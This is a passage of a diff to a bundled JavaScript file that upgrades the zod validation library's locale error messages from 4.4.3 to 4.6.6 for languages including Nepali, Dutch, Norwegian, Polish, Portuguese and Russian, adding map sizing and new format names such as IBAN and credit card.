TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54883,12 +56722,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -54958,17 +56801,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54992,14 +56950,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -55067,17 +57029,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55103,12 +57066,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -55177,17 +57144,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55213,12 +57181,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -55292,17 +57264,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55328,12 +57301,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -55402,121 +57379,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -55555,6 +57712,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -55631,11 +57791,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -55651,7 +57811,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -55684,6 +57844,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: 